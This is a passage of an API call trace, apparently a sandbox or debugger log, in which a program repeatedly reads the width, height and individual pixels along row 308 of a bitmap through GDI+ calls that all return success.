GdipBitmapGetPixel (bitmap=0x4932230, x=1, y=308, color=0x31e3f0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.102] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.102] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.102] GdipBitmapGetPixel (bitmap=0x4932230, x=2, y=308, color=0x31e3f0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipBitmapGetPixel (bitmap=0x4932230, x=3, y=308, color=0x31e3f0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipBitmapGetPixel (bitmap=0x4932230, x=4, y=308, color=0x31e3f0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipBitmapGetPixel (bitmap=0x4932230, x=5, y=308, color=0x31e3f0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipBitmapGetPixel (bitmap=0x4932230, x=6, y=308, color=0x31e3f0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipBitmapGetPixel (bitmap=0x4932230, x=7, y=308, color=0x31e3f0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipBitmapGetPixel (bitmap=0x4932230, x=8, y=308, color=0x31e3f0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.103] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.103] GetLastError () returned 0x0 [0114.104] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipBitmapGetPixel (bitmap=0x4932230, x=9, y=308, color=0x31e3f0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipBitmapGetPixel (bitmap=0x4932230, x=10, y=308, color=0x31e3f0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipBitmapGetPixel (bitmap=0x4932230, x=11, y=308, color=0x31e3f0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipBitmapGetPixel (bitmap=0x4932230, x=12, y=308, color=0x31e3f0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipBitmapGetPixel (bitmap=0x4932230, x=13, y=308, color=0x31e3f0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GdipBitmapGetPixel (bitmap=0x4932230, x=14, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipBitmapGetPixel (bitmap=0x4932230, x=15, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipBitmapGetPixel (bitmap=0x4932230, x=16, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipBitmapGetPixel (bitmap=0x4932230, x=17, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipBitmapGetPixel (bitmap=0x4932230, x=18, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipBitmapGetPixel (bitmap=0x4932230, x=19, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GdipBitmapGetPixel (bitmap=0x4932230, x=20, y=308, color=0x31e3f0) returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=21, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=22, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=23, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=24, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=25, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=26, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GdipBitmapGetPixel (bitmap=0x4932230, x=27, y=308, color=0x31e3f0) returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=28, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=29, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=30, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=31, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=32, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=33, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipBitmapGetPixel (bitmap=0x4932230, x=34, y=308, color=0x31e3f0) returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=35, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=36, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=37, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=38, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=39, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=40, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipBitmapGetPixel (bitmap=0x4932230, x=41, y=308, color=0x31e3f0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=42, y=308, color=0x31e3f0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=43, y=308, color=0x31e3f0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=44, y=308, color=0x31e3f0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=45, y=308, color=0x31e3f0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=46, y=308, color=0x31e3f0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=47, y=308, color=0x31e3f0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GdipBitmapGetPixel (bitmap=0x4932230, x=48, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=49, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=50, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=51, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=52, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=53, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=54, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.110] GdipBitmapGetPixel (bitmap=0x4932230, x=55, y=308, color=0x31e3f0) returned 0x0 [0114.110] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipBitmapGetPixel (bitmap=0x4932230, x=56, y=308, color=0x31e3f0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipBitmapGetPixel (bitmap=0x4932230, x=57, y=308, color=0x31e3f0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipBitmapGetPixel (bitmap=0x4932230, x=58, y=308, color=0x31e3f0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipBitmapGetPixel (bitmap=0x4932230, x=59, y=308, color=0x31e3f0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipBitmapGetPixel (bitmap=0x4932230, x=60, y=308, color=0x31e3f0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipBitmapGetPixel (bitmap=0x4932230, x=61, y=308, color=0x31e3f0) returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=62, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=63, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=64, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=65, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=66, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=67, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipBitmapGetPixel (bitmap=0x4932230, x=68, y=308, color=0x31e3f0) returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=69, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=70, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=71, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=72, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=73, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=74, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipBitmapGetPixel (bitmap=0x4932230, x=75, y=308, color=0x31e3f0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.113] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.113] GetLastError () returned 0x0 [0114.114] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipBitmapGetPixel (bitmap=0x4932230, x=76, y=308, color=0x31e3f0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipBitmapGetPixel (bitmap=0x4932230, x=77, y=308, color=0x31e3f0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) 